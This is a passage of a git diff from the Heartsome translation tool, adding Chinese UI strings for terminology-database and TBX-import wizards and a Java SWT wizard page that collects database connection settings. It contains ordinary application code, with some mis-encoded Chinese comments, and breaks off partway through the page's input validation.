\u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +wizard.NewTermDbImportPage.title = \u5bfc\u5165 TBX +wizard.NewTermDbImportPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u65b0\u5efa\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.NewTermDbImportPage.lblTbx = TBX \u6587\u4ef6\uff1a +wizard.NewTermDbImportPage.tbxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTermDbImportPage.task1 = \u521b\u5efa\u672f\u8bed\u5e93 +wizard.NewTermDbImportPage.task2 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.NewTermDbImportPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbImportPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbImportPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.NewTermDbWizard.title = \u65b0\u5efa\u672f\u8bed\u5e93\u5411\u5bfc +wizard.TbxImportWizard.title = \u5bfc\u5165 TBX \u6587\u4ef6 +wizard.TbxImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TbxImportWizardTbxPage.title = \u5411\u672f\u8bed\u5e93\u4e2d\u5bfc\u5165 TBX +wizard.TbxImportWizardTbxPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.TbxImportWizardTbxPage.lblTmx = TBX \u6587\u4ef6\uff1a +wizard.TbxImportWizardTbxPage.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TbxImportWizardTbxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TbxImportWizardTbxPage.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.TbxImportWizardTbxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TbxImportWizardTbxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TbxImportWizardTbxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.TermDbManagerImportWizard.title = \u5bfc\u5165 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.title = \u9009\u62e9 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.TermDbManagerImportWizardTbxPage.lblTmx = TBX \u6587\u4ef6\uff1a +wizard.TermDbManagerImportWizardTbxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TermDbManagerImportWizardTbxPage.openFile = \u6253\u5f00\u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.lblNewLabel = \u672f\u8bed\u5e93\uff1a +wizard.TermDbManagerImportWizardTbxPage.button = \u9009\u62e9(&S) +wizard.TermDbManagerImportWizardTbxPage.settingBtn = \u9009\u9879(&O)... +wizard.TermDbManagerImportWizardTbxPage.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.TermDbManagerImportWizardTbxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg7 = \u5df2\u6210\u529f\u5c06\u9009\u4e2d\u7684 TBX \u6587\u4ef6\u5bfc\u5165\u5230\u6307\u5b9a\u7684\u672f\u8bed\u5e93\u4e2d... +wizard.TermDbManagerImportWizardTbxPage.msg8 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.msg9 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165 TBX \u6587\u4ef6\u7684\u672f\u8bed\u5e93 + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.TermDbManagerDialog.lstItem = \u5168\u90e8 + +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +# 2012-09-24 add by jason +wizard.NewTermDbBaseInfoPage.msg11 = \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u9519\u8bef\u6216\u8be5\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\u3002 + +########################## 2012-12-27 \u6dfb\u52a0 ############################################### +dialog.TermDbManagerDialog.msg11 = \u8bf7\u8bbe\u7f6e SQLite \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TermDbManagerDialog.msg12 = \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u4e0d\u5b58\u5728\u3002 + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite\uff08\u63a8\u8350\uff09 + +# add by jason 2013-04-23 +tb.dbtype.sqlite = \u6587\u4ef6\u672f\u8bed\u5e93 +tb.dialog.addTb.DropDownButton.AddFileTb = \u6587\u4ef6\u672f\u8bed\u5e93(&F)... +tb.dialog.addTb.DropDownButton.AddServerTb = \u670d\u52a1\u5668\u672f\u8bed\u5e93(&S)... +tb.dialog.addFileTb.errorTitle = \u9519\u8bef +tb.dialog.addFileTb.error.msg1 = \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Hearstome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +tb.dialog.addFileTb.error.msg2 = \u65e0\u6cd5\u6253\u5f00\u672f\u8bed\u5e93 {0} \n \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Heartsome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +# inser into ediotr add by yule 2013-04 -26 +view.TerminologyViewPart.msgTitle = \u63d0\u793a +view.TerminologyViewPart.msg1 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u672f\u8bed\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u672f\u8bed\u3002 +view.TerminologyViewPart.msg2 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbBaseInfoPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbBaseInfoPage.java new file mode 100644 index 0000000..7d8b6a9 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbBaseInfoPage.java @@ -0,0 +1,637 @@ +/** + * NewTermDbBaseInfoPage.java + * + * Version information : + * + * Date:Oct 25, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.sql.SQLException; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.core.DatabaseConfiger; +import net.heartsome.cat.database.ui.core.DbValidator; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.databinding.validation.MultiValidator; +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.jface.databinding.swt.WidgetProperties; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.wizard.IWizardPage; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTermDbBaseInfoPage extends WizardPage { + private static final Logger logger = LoggerFactory.getLogger(NewTermDbBaseInfoPage.class); + + private ComboViewer dbTypeComboViewer; + private Text dbNameText; + private Text instanceText; + private Text locationText; + private Button borwserBtn; + private Text hostText; + private Text portText; + private Text usernameText; + private Text passwordText; + + private DatabaseModelBean dbModel; + private IPreferenceStore pStore; + private List dbTypeList; + + /** @return the dbModel */ + public DatabaseModelBean getDbModel() { + return dbModel; + } + + /** + * 当数æ®åº“类型改å˜æ—¶ 用于ä¿å­˜å½“å‰æ“作的数æ®åº“对象 + * @see #dbTypeChangeEvent(SystemDBOperator) + */ + private SystemDBOperator dbOp; + private MetaData dbMetaData; + + /** + * Create the wizard. + */ + public NewTermDbBaseInfoPage() { + super("newTermDbConnectionInfo"); + setTitle(Messages.getString("wizard.NewTermDbBaseInfoPage.title")); + setDescription(Messages.getString("wizard.NewTermDbBaseInfoPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/new-termdb-logo.png")); + dbModel = new DatabaseModelBean(); + dbTypeList = DatabaseService.getSystemDbOperaterList(); + + pStore = Activator.getDefault().getPreferenceStore(); + String dbType = pStore.getString(TBPreferenceConstants.TB_RM_DBTYPE); + if (dbType != null && !dbType.equals("")) { + for (SystemDBOperator dbOp : dbTypeList) { + if (dbOp.getMetaData().getDbType().equals(dbType)) { + this.dbOp = dbOp; + break; + } + } + + if (this.dbOp != null) { + dbModel.setDbType(dbType); + dbModel.setInstance(pStore.getString(TBPreferenceConstants.TB_RM_INSTANCE)); + dbModel.setHost(pStore.getString(TBPreferenceConstants.TB_RM_SERVER)); + dbModel.setPort(pStore.getString(TBPreferenceConstants.TB_RM_PORT)); + dbModel.setUserName(pStore.getString(TBPreferenceConstants.TB_RM_USERNAME)); + dbModel.setItlDBLocation(pStore.getString(TBPreferenceConstants.TB_RM_PATH)); + this.dbMetaData = dbOp.getMetaData(); + dbMetaData.setInstance(dbModel.getInstance()); + dbMetaData.setServerName(dbModel.getHost()); + dbMetaData.setPort(dbModel.getPort()); + dbMetaData.setUserName(dbModel.getUserName()); + dbMetaData.setDataPath(dbModel.getItlDBLocation()); + } + } + setPageComplete(false); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + setControl(container); + + int labelWidth = 100; + GridData gdLabel = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gdLabel.widthHint = labelWidth; + + Group dbGroup1 = new Group(container, SWT.NONE); + dbGroup1.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + dbGroup1.setLayout(new GridLayout(2, false)); + dbGroup1.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 4, 1)); + dbGroup1.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.dbGroup1")); + + Label label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.lblType")); + + dbTypeComboViewer = new ComboViewer(dbGroup1, SWT.READ_ONLY); + Combo combo = dbTypeComboViewer.getCombo(); + combo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + // // + label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.dbNameText")); + + dbNameText = new Text(dbGroup1, SWT.BORDER); + dbNameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.instanceText")); + + instanceText = new Text(dbGroup1, SWT.BORDER); + instanceText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + dbTypeComboViewer.setContentProvider(new ArrayContentProvider()); + + dbTypeComboViewer.setInput(dbTypeList); + dbTypeComboViewer.setLabelProvider(new LabelProvider() { + public String getText(Object element) { + SystemDBOperator dbOp = (SystemDBOperator) element; + String dbType = dbOp.getDBConfig().getDefaultType(); + if (dbType.equals(Constants.DBTYPE_MYSQL)) { + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)) { + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("tb.dbtype.sqlite"); + } + return dbType; + } + }); + + dbTypeComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection != null && selection instanceof IStructuredSelection) { + IStructuredSelection sel = (IStructuredSelection) selection; + Object selObj = sel.getFirstElement(); + if (selObj != null && selObj instanceof SystemDBOperator) { + SystemDBOperator selDbOp = (SystemDBOperator) selObj; + dbTypeChangeEvent(selDbOp); + } + } + } + }); + + Group dbGroup = new Group(container, SWT.NONE); + dbGroup.setLayout(new GridLayout(5, false)); + dbGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 4, 1)); + dbGroup.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.dbGroup")); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.hostText")); + + hostText = new Text(dbGroup, SWT.BORDER); + hostText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.portText")); + + portText = new Text(dbGroup, SWT.BORDER); + new Label(dbGroup, SWT.NONE); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.locationText")); + + locationText = new Text(dbGroup, SWT.BORDER); + locationText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 3, 1)); + locationText.setEnabled(false); + + borwserBtn = new Button(dbGroup, SWT.NONE); + borwserBtn.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.borwserBtn")); + borwserBtn.setEnabled(false); + borwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + DirectoryDialog dlg = new DirectoryDialog(getShell()); + String path = dlg.open(); + if (path != null) { + locationText.setText(path); + } + } + }); + + Group authorityGroup = new Group(container, SWT.NONE); + authorityGroup.setLayout(new GridLayout(2, false)); + authorityGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 4, 1)); + authorityGroup.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.authorityGroup")); + + label = new Label(authorityGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.usernameText")); + + usernameText = new Text(authorityGroup, SWT.BORDER); + usernameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(authorityGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTermDbBaseInfoPage.passwordText")); + + passwordText = new Text(authorityGroup, SWT.BORDER | SWT.PASSWORD); + passwordText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + initDataBindings(); + if (this.dbOp != null) { + dbTypeComboViewer.setSelection(new StructuredSelection(this.dbOp)); + } else { + dbTypeComboViewer.setSelection(new StructuredSelection(dbTypeList.get(0))); + } + IStatus state = validator(); + if (!state.isOK()) { + setErrorMessage(state.getMessage()); + setPageComplete(false); + } + } + + /** + * 当数æ®åº“类型å‘生改å˜æ—¶ï¼Œå®žå§‹åŒ–当选择类型的 + * @param changedDbOp + * ; + */ + private void dbTypeChangeEvent(SystemDBOperator changedDbOp) { + dbOp = changedDbOp; + dbMetaData = dbOp.getMetaData(); + dbModel.setDbType(dbOp.getDBConfig().getDefaultType()); + + if (dbMetaData.databaseNameSupported()) { + dbNameText.setEnabled(true); + // fix bug2672 + String dbname = dbMetaData.getDatabaseName(); + // if (dbname.equals("")) { + // // 如果设置的内容都是"",则ä¸ä¼šè§¦å‘binding的验è¯æ–¹æ³•ã€‚所以先设置æˆtest,å†ä¿®æ”¹ä¸º"" + // dbNameText.setText("test"/* dbMetaData.getDatabaseName() */); + // } + dbNameText.setText(dbname); + } else { + dbNameText.setEnabled(false); + dbNameText.setText(""); + } + + if (dbMetaData.dataPathSupported()) { + locationText.setEnabled(true); + borwserBtn.setEnabled(true); + locationText.setText(locationText.getText()); + } else { + locationText.setEnabled(false); + borwserBtn.setEnabled(false); + locationText.setText(""); + } + + if (dbMetaData.serverNameSupported()) { + hostText.setEnabled(true); + hostText.setText(dbMetaData.getServerName()); + } else { + hostText.setEnabled(false); + hostText.setText(""); + } + + if (dbMetaData.instanceSupported()) { + instanceText.setEnabled(true); + instanceText.setText(dbMetaData.getInstance()); + } else { + instanceText.setEnabled(false); + instanceText.setText(""); + } + + if (dbMetaData.portSupported()) { + portText.setEnabled(true); + portText.setText(dbMetaData.getPort()); + } else { + portText.setEnabled(false); + portText.setText(""); + } + + if (dbMetaData.userNameSupported()) { + usernameText.setEnabled(true); + usernameText.setText(dbMetaData.getUserName()); + } else { + usernameText.setEnabled(false); + usernameText.setText(""); + } + + if (dbMetaData.passwordSupported()) { + passwordText.setEnabled(true); + passwordText.setText(dbMetaData.getPassword()); + } else { + passwordText.setEnabled(false); + passwordText.setText(""); + } + } + + protected void initDataBindings() { + DataBindingContext bindingContext = new DataBindingContext(); + WizardPageSupport.create(this, bindingContext); + + IObservableValue widgetValue = WidgetProperties.text(SWT.Modify).observe(dbNameText); + final IObservableValue dbNameModelValue = BeanProperties.value("dbName").observe(dbModel); + bindingContext.bindValue(widgetValue, dbNameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(instanceText); + final IObservableValue instanceModelValue = BeanProperties.value("instance").observe(dbModel); + bindingContext.bindValue(widgetValue, instanceModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(hostText); + final IObservableValue hostModelValue = BeanProperties.value("host").observe(dbModel); + bindingContext.bindValue(widgetValue, hostModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(portText); + final IObservableValue protModelValue = BeanProperties.value("port").observe(dbModel); + bindingContext.bindValue(widgetValue, protModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(locationText); + final IObservableValue locationModelValue = BeanProperties.value("itlDBLocation").observe(dbModel); + bindingContext.bindValue(widgetValue, locationModelValue, null, null); + // + widgetValue = WidgetProperties.text(SWT.Modify).observe(usernameText); + final IObservableValue usernameModelValue = BeanProperties.value("userName").observe(dbModel); + bindingContext.bindValue(widgetValue, usernameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(passwordText); + final IObservableValue passwordModelValue = BeanProperties.value("password").observe(dbModel); + bindingContext.bindValue(widgetValue, passwordModelValue, null, null); + + MultiValidator myValidator = new MultiValidator() { + + @Override + protected IStatus validate() { + dbNameModelValue.getValue(); + instanceModelValue.getValue(); + hostModelValue.getValue(); + protModelValue.getValue(); + locationModelValue.getValue(); + usernameModelValue.getValue(); + passwordModelValue.getValue(); + return validator(); + } + }; + bindingContext.addValidationStatusProvider(myValidator); + } + + /** + * 输入验è¯å™¨ ; + */ + private IStatus validator() { + // 选择数æ®åº“类型的时候åˆå§‹åŒ–dbMetaDate + if (null == dbMetaData) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg1")); + } + // + + String dbName = dbModel.getDbName(); + String instance = dbModel.getInstance(); + String host = dbModel.getHost(); + String port = dbModel.getPort(); + String location = dbModel.getItlDBLocation(); + String username = dbModel.getUserName(); + String password = dbModel.getPassword(); + + if (dbName == null || dbName.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg2")); + } + + String vRs = DbValidator.valiateDbName(dbName); + if (vRs != null) { + return ValidationStatus.error(vRs); + } + + if 